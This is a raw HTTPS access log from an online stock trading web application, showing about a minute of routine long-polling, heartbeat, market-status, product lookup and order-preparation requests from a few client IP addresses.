[09/Jan/2026:14:12:41 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939428667 HTTP/1.1" -
[09/Jan/2026:14:12:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:12:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:12:43 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939439301 HTTP/1.1" -
[09/Jan/2026:14:12:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939449697 HTTP/1.1" -
[09/Jan/2026:14:12:45 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939434209 HTTP/1.1" -
[09/Jan/2026:14:12:46 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939433737 HTTP/1.1" -
[09/Jan/2026:14:12:48 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939444393 HTTP/1.1" -
[09/Jan/2026:14:12:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939454720 HTTP/1.1" -
[09/Jan/2026:14:12:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:49 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:12:50 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939439424 HTTP/1.1" -
[09/Jan/2026:14:12:51 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939438801 HTTP/1.1" -
[09/Jan/2026:14:12:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:51 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:12:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:12:53 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939449463 HTTP/1.1" -
[09/Jan/2026:14:12:54 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939459753 HTTP/1.1" -
[09/Jan/2026:14:12:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:12:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:12:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:12:55 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939444612 HTTP/1.1" -
[09/Jan/2026:14:12:56 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939443923 HTTP/1.1" -
[09/Jan/2026:14:12:59 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939454501 HTTP/1.1" -
[09/Jan/2026:14:12:59 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939464785 HTTP/1.1" -
[09/Jan/2026:14:13:00 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939449673 HTTP/1.1" -
[09/Jan/2026:14:13:01 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939448988 HTTP/1.1" -
[09/Jan/2026:14:13:04 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939459596 HTTP/1.1" -
[09/Jan/2026:14:13:04 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939469843 HTTP/1.1" -
[09/Jan/2026:14:13:05 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939454803 HTTP/1.1" -
[09/Jan/2026:14:13:06 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939454057 HTTP/1.1" -
[09/Jan/2026:14:13:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:13:09 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939464657 HTTP/1.1" -
[09/Jan/2026:14:13:10 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939474902 HTTP/1.1" -
[09/Jan/2026:14:13:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939459940 HTTP/1.1" -
[09/Jan/2026:14:13:11 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939459124 HTTP/1.1" -
[09/Jan/2026:14:13:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:13:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:11 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:14 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939469741 HTTP/1.1" -
[09/Jan/2026:14:13:15 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939479924 HTTP/1.1" -
[09/Jan/2026:14:13:16 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939464990 HTTP/1.1" -
[09/Jan/2026:14:13:16 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939464184 HTTP/1.1" -
[09/Jan/2026:14:13:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939474802 HTTP/1.1" -
[09/Jan/2026:14:13:19 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:20 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:13:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939484953 HTTP/1.1" -
[09/Jan/2026:14:13:21 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939470093 HTTP/1.1" -
[09/Jan/2026:14:13:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:21 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:21 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939469269 HTTP/1.1" -
[09/Jan/2026:14:13:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:24 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939479883 HTTP/1.1" -
[09/Jan/2026:14:13:25 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939489986 HTTP/1.1" -
[09/Jan/2026:14:13:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:13:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:26 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939475204 HTTP/1.1" -
[09/Jan/2026:14:13:26 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939474403 HTTP/1.1" -
[09/Jan/2026:14:13:29 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939484915 HTTP/1.1" -
[09/Jan/2026:14:13:30 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939495046 HTTP/1.1" -
[09/Jan/2026:14:13:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939480258 HTTP/1.1" -
[09/Jan/2026:14:13:31 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939479434 HTTP/1.1" -
[09/Jan/2026:14:13:34 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939489990 HTTP/1.1" -
[09/Jan/2026:14:13:35 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939500120 HTTP/1.1" -
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 306
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/sell_ticket.html? HTTP/1.1" 2261
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 305
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 6
[09/Jan/2026:14:13:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939485384 HTTP/1.1" -
[09/Jan/2026:14:13:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:36 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:13:36 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939484499 HTTP/1.1" -
[09/Jan/2026:14:13:39 +0800] 14.155.63.237 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53611?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939495079 HTTP/1.1" -
[09/Jan/2026:14:13:40 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939505148 HTTP/1.1" -
[09/Jan/2026:14:13:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:14:13:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:14:13:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1202
[09/Jan/2026:14:13:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767939490437 HTTP/1.1" -
[09/Jan/2026:14:13:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:14:13:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:41 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:14:13:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:14:13:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:14:13:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
